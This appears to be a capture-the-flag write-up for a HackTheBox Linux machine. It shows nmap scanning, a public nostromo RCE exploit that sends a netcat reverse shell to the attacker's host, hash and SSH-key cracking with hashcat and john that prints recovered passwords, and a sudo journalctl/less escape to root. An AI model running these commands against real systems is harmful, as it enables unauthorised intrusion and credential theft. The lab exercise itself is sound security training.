Logo Creator OS Difficulty Points Release
Control Logo jkr Linux Easy 20 graph

Initial Scan

I started with an initial NMAP scan of the host, and discovered ports 22 and 80. Command: nmap -F -oN nmap/quick 10.10.10.165

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Further script scanning revealed that the HTTP service was running nostromo 1.9.6. Command: nmap -sC -sV -oN nmap/def-script -p 22,80 10.10.10.165

PORT   STATE SERVICE VERSION
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nostromo Exploitation

Nostromo (nhttpd) is an open source web server. Fortunately for me, the version was exposed and with a quick Google search there’s an exploit script for unauthenticated RCE on ExploitDB here. I would normally look at the source and write my own script from that, but it’s just a simple Python socket connection, sending a payload that utilizes directory traversal to call bash and run a given command. I discovered that the host has nc with the “-e” flag to run commands, so I’ll get a reverse shell in two steps:

  1. Start a listener: nc -nlvp 1337
  2. Get a connection: ./nostromo.py 10.10.10.165 80 "nc -e /bin/bash 10.10.16.44 1337

This gives me a reverse shell as the www-data user. Checking the /home directories, I need to become the user david to get the user flag.

Getting User Access

I like running the linPEAS enumeration script once I have a reverse shell to generate privesc options. There are two interesting things I found in the output:

  1. There’s a hash for david stored in /var/nostromo/conf/.htpasswd:
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
  1. There’s a setting for public user directories in /var/nostromo/conf/nhttpd.conf. The configuration is set so that only the /home/david/public_www folder is accessible.

First, I’m going to crack the hash for david with hashcat. On my windows host this is simple, with the command hashcat -m 500 .\hash-traverxec.txt ..\wordlists\rockyou.txt. This gives me credentials: david:Nowonly4me. These don’t work for SSH, but given that they’re stored in an .htpassword file, they likely work with the web server. Looking at the public directory at http://10.10.10.165/~david/, I can’t see any files. I also don’t know what’s in that directory because I don’t have read access to david’s home directory on the server. Fortunately, because of the nttpd.conf setting, I know where those files are located, and I know that the www-data user can probably view them. I can copy them out with these commands:

cp /home/david/public_www /tmp/public_www
cd /tmp/public_www

Now I can see that there’s a subfolder called protected-file-area, which contains an interesting file called backup-ssh-identity-files.tgz. I’ll save that to my Kali box and extract it with tar xvzf backup-ssh*. This gives me david’s home directory to explore locally, and there’s a .ssh folder with his public and private key. The private key is encrypted, but I can crack it with ssh2john.py and JohnTheRipper easily:

python /opt/john/ssh2john.py id_rsa > id_rsa.hash
john id_rsa.hash

Now I have david’s private SSH key and it’s password! I can SSH in as david with: ssh -i id_rsa [email protected] and password hunter.

Getting Root Access

In david’s home directory there is a very suspicious looking /bin directory, with a script called server-stats.sh. Looking at its contents, there is a call to /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /bin/cat. I can run the script successfully, without being prompted for david’s password, which means there must be an entry for the journalctl command in /etc/sudoers. I can’t look at that entry, but after looking at the man page for journalctl I can see that it passes the output into the less command by default. Fortunately for me, less allows command execution. I can get root access by running sudo journalctl -n5 -unostromo.service, then typing !bash to get a root shell.